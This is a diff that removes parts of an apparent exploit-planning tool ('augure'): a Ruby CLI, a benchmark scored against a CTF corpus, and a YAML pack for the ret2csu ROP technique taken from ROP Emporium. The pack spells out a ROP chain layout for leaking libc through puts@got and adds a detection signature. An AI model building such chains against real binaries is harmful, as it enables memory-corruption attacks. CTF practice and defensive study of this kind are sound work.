- ["corpus self-test (selected: ret2func)", nil]
62
- else
63
- ["corpus self-test", "corpus example decided differently - report a bug"]
64
- end
65
- rescue => e
66
- checks << ["corpus self-test", e.message]
67
- end
68
-
69
- solvers = %w[z3 bitwuzla cvc5].select do |s|
70
- system("sh", "-c", "command -v '#{s}' >/dev/null 2>&1")
71
- end
72
- checks << ["SMT solvers",
73
- solvers.empty? ? "optional - none found; the arithmetic path works without (apt install z3 for the SMT path)" : "optional, found: #{solvers.join(", ")}"]
74
-
75
- failed = false
76
- checks.each do |name, problem|
77
- if problem&.start_with?("optional")
78
- puts " opt #{name} - #{problem}"
79
- elsif problem
80
- failed = true
81
- puts " FAIL #{name} - fix: #{problem}"
82
- else
83
- puts " ok #{name}"
84
- end
85
- end
86
- if failed
87
- n = checks.count { |_, p| p && !p.start_with?("optional") }
88
- abort("augure: doctor found #{n} issue(s) - fixes above")
89
- end
90
- when "rules"
91
- if options[:mitre]
92
- mitre_by_pack = {}
93
- packs_dir = options[:packs] || "packs"
94
- Dir.glob(File.expand_path(File.join(packs_dir, "*.yml"))).each do |path|
95
- pack = Augure::Pack.load_file(path)
96
- (mitre_by_pack[pack.technique] = pack.mitre) if pack.mitre
97
- rescue
98
- nil
99
- end
100
- if options[:json]
101
- puts JSON.pretty_generate("schema" => "augure/mitre-navigator@1", "layers" => [{
102
- "name" => "augure techniques", "versions" => {"attack" => "14", "navigator" => "4.9"},
103
- "techniques" => mitre_by_pack.map { |tech, codes| codes.map { |c| {"techniqueID" => c, "score" => 1, "comment" => tech} } }.flatten
104
- }])
105
- exit 0
106
- end
107
- mitre_by_pack.each { |tech, codes| puts "#{tech}\t#{codes.join(", ")}" }
108
- exit 0
109
- end
110
- Augure::Rules.all.each do |rule|
111
- puts rule.id
112
- puts " head: #{rule.head.join("=")}"
113
- puts " why: #{rule.source}"
114
- end
115
- when "explain"
116
- technique = ARGV.shift or abort(parser.to_s)
117
- packs = options[:packs] && Augure::PackLoader.load_dir(options[:packs]).tap { |ps| Augure::PackLoader.corpus_guard(ps) }
118
- rules = Augure::Rules.all + packs.to_a.flat_map(&:rules)
119
- rules = rules.select { |r| r.head == [Augure::Rules::APPLICABLE, technique] }
120
- entries = Augure::KnowledgeBase.corpus_with(packs.to_a.flat_map(&:kb))
121
- .select { |e| e["technique"] == technique }
122
- if rules.empty? && entries.empty?
123
- known = Augure::Rules.applicable_rules.map { |r| r.head[1] }.uniq.sort
124
- abort("augure: unknown technique '#{technique}' - known: #{known.join(", ")}")
125
- end
126
- puts "technique: #{technique}"
127
- rules.each do |rule|
128
- puts " rule: #{rule.id} - #{rule.source}"
129
- end
130
- entries.each do |e|
131
- puts " kb: #{e["id"]} (success_rate #{e["success_rate"]})"
132
- puts " #{e["description"]}"
133
- end
134
- when "coverage"
135
- entries = if options[:facts_entry]
136
- [{"suite" => "facts", "name" => File.basename(options[:facts_entry]),
137
- "facts" => File.read(options[:facts_entry])}]
138
- else
139
- corpus = JSON.parse(File.read(File.expand_path("../lib/augure/ctf_corpus.json", __dir__)))
140
- corpus["suites"].values.flatten
141
- end
142
- unless options[:flips]
143
- abort("augure: coverage needs at least one --flip NAME:VALUE (nx:true, canary:true, relro:full)")
144
- end
145
- report = Augure::Coverage.report(entries, flips: options[:flips])
146
- if options[:json]
147
- puts JSON.pretty_generate("schema" => "augure/coverage@1", **report)
148
- exit 0
149
- end
150
- entries.size
151
- report[:entries].count { |e| e[:lost].empty? && e[:gained].empty? }
152
- puts "the corpus read backwards: #{entries.size} targets, flips #{options[:flips].inspect}"
153
- puts "targets that change their applicable set: #{report[:entries].count { |e| e[:lost] || e[:gained] } - report[:entries].count { |e| e[:lost].empty? && e[:gained].empty? }}"
154
- report[:died].each { |tech, n| puts " died: #{tech} (#{n} target(s))" }
155
- report[:gained].each { |tech, n| puts " gained: #{tech} (#{n} target(s))" }
156
- puts "untouched targets: #{report[:survived_count]}"
157
- puts "the remaining applicable techniques are the attacker's next moves - harden accordingly."
158
- when "analyze"
159
- path = ARGV.shift or abort(parser.to_s)
160
- input = (path == "-") ? $stdin.read : File.read(path)
161
- begin
162
- packs = options[:packs] && Augure::PackLoader.load_dir(options[:packs]).tap { |ps| Augure::PackLoader.corpus_guard(ps) }
163
- result = Augure::Pipeline.analyze(facts: input, seed: options[:seed], packs: packs)
164
- if options[:json]
165
- puts JSON.pretty_generate({schema: "augure/decision@1"}.merge(result))
166
- else
167
- puts "applicable: #{result[:applicable].join(", ")}"
168
- puts "selected: #{result[:selected]}"
169
- puts "plan: #{result[:plan].join(" -> ")}"
170
- result[:explain][:provenance].each do |tech, provs|
171
- provs.each do |p|
172
- puts " #{tech} <- #{p[:rule]} (#{p[:evidence].map { |e| e.join("=") }.join(", ")})"
173
- end
174
- end
175
- end
176
- rescue Augure::MalformedFact, Augure::UnknownPredicate => e
177
- abort("augure: #{e.message}")
178
- end
179
- else
180
- abort(parser.to_s)
181
- end
@@ -1,67 +0,0 @@
1
- #!/usr/bin/env ruby
2
- # frozen_string_literal: true
3
-
4
- require "json"
5
- require "optparse"
6
- require_relative "../lib/augure"
7
-
8
- # Concordance benchmark against the frozen CTF corpus, in the spirit of the
9
- # Python prototype's benchmark harness: predictions vs documented truth,
10
- # per suite, with an explicit exit code gate.
11
-
12
- threshold = 1.00
13
- OptionParser.new do |opts|
14
- opts.banner = "Usage: augure-benchmark <corpus.json> [--min-top1 N]"
15
- opts.on("--min-top1 N", Float, "Fail below this top-1 concordance (default 1.00)") { |v| threshold = v }
16
- opts.on("--version", "Print the version") do
17
- puts "augure #{Augure::VERSION} (benchmark)"
18
- exit 0
19
- end
20
- end.parse!(ARGV)
21
-
22
- path = ARGV.shift or abort("Usage: augure-benchmark <corpus.json> [--min-top1 N]")
23
- corpus = JSON.parse(File.read(path))
24
- meta_priors = corpus.dig("meta", "priors")
25
-
26
- puts " augure-benchmark: prediction vs documented ground truth"
27
- puts
28
-
29
- correct_top1 = 0
30
- correct_top3 = 0
31
- n = 0
32
-
33
- corpus["suites"].each do |suite, entries|
34
- suite_ok1 = 0
35
- suite_ok3 = 0
36
- entries.each do |entry|
37
- result = Augure::Pipeline.analyze(facts: entry["facts"], priors: meta_priors)
38
- top3 = result[:ranking].first(3)
39
- # An empty frozen verdict is a verdict: concordance = the engine
40
- # reproduces it exactly (the pack layer owns the technique; the
41
- # built-in table intentionally says nothing).
42
- if entry["applicable"].empty?
43
- ok = result[:applicable].empty?
44
- suite_ok1 += 1 if ok
45
- suite_ok3 += 1 if ok
46
- next
47
- end
48
- suite_ok1 += 1 if result[:ranking].first == entry["truth"]
49
- suite_ok3 += 1 if top3.include?(entry["truth"])
50
- end
51
- count = entries.size
52
- n += count
53
- correct_top1 += suite_ok1
54
- correct_top3 += suite_ok3
55
- puts format(" %-12s %d/%d top-1 %d/%d top-3",
56
- suite, suite_ok1, count, suite_ok3, count)
57
- end
58
-
59
- puts
60
- pct = correct_top1.to_f / n
61
- puts format(" Top-1 concordance: %d/%d (%.0f%%)", correct_top1, n, pct * 100)
62
- puts format(" Top-3 concordance: %d/%d (%.0f%%)", correct_top3, n, (correct_top3.to_f / n) * 100)
63
-
64
- if pct < threshold
65
- puts format(" BELOW THRESHOLD (%.0f%% < %.0f%%)", pct * 100, threshold * 100)
66
- exit 1
67
- end
@@ -1,55 +0,0 @@
1
- # Canonique: le modele de technique pack pour agents et operateurs.
2
- # Structure, vocabulaire et limites: voir docs/pack-format.md.
3
- technique: ret2csu_v2
4
- author: Gregory Epp
5
- source: https://ropemporium.com/challenge/ret2csu.html
6
-
7
- rules:
8
- - id: app_ret2csu_v2
9
- head: [applicable, ret2csu_v2]
10
- conditions:
11
- - [fact, vuln, sof]
12
- - [fact, nx, true]
13
- - [match, gadget, 0, csu]
14
-
15
- kb:
16
- - id: ret2csu_v2_001
17
- technique: ret2csu_v2
18
- description: >
19
- __libc_csu_init universal gadget populates rdx/rsi/rdi in
20
- gadget-sparse binaries; the popper and mov gadgets enable
21
- controlled multi-argument calls.
22
- chain: [csu_popper, csu_mov, target_fn]
23
- unlocks: [libc_base]
24
- success_rate: 0.75
25
-
26
- mcts:
27
- requires: []
28
- provides: [libc_base]
29
- terminal: false
30
- success: 0.70
31
-
32
- priors: [14, 6]
33
-
34
- # The assembly order, resolved by lictor's builder from the facts: the
35
- # csu popper sets rbx=0, rbp=1, r12=fn@got, r13=arg2, r14=arg1, r15=arg0
36
- # then csu_mov issues mov rdx,r13 / mov rsi,r14 / mov edi,r15d / call
37
- # [r12+rbx*8]; 7 junk qwords fall through the second pop; the chain
38
- # ends on the technique that follows (leak:main keeps the process
39
- # alive). The arg values here are the canonical puts(puts@got) leak;
40
- # an operator edits the consts for their call.
41
- build:
42
- technique: ret2csu_v2
43
- layout:
44
- - [padding, measured_offset]
45
- - [chain, "gadget:csu_popper", "const:0", "const:1", "got_addr:puts",
46
- "const:8", "got_addr:puts", "const:1", "gadget:csu_mov",
47
- "const:0", "const:0", "const:0", "const:0", "const:0", "const:0", "const:0"]
48
-
49
-
50
- # The defender side (the corpus read backwards): what this technique
51
- # looks like to the defenses. Armored by check 9.
52
- detection:
53
- - channel: crash
54
- signature: "call through __libc_csu_init gadget territory on a gadget-poor binary"
55
- note: "the csu chain issuing calls"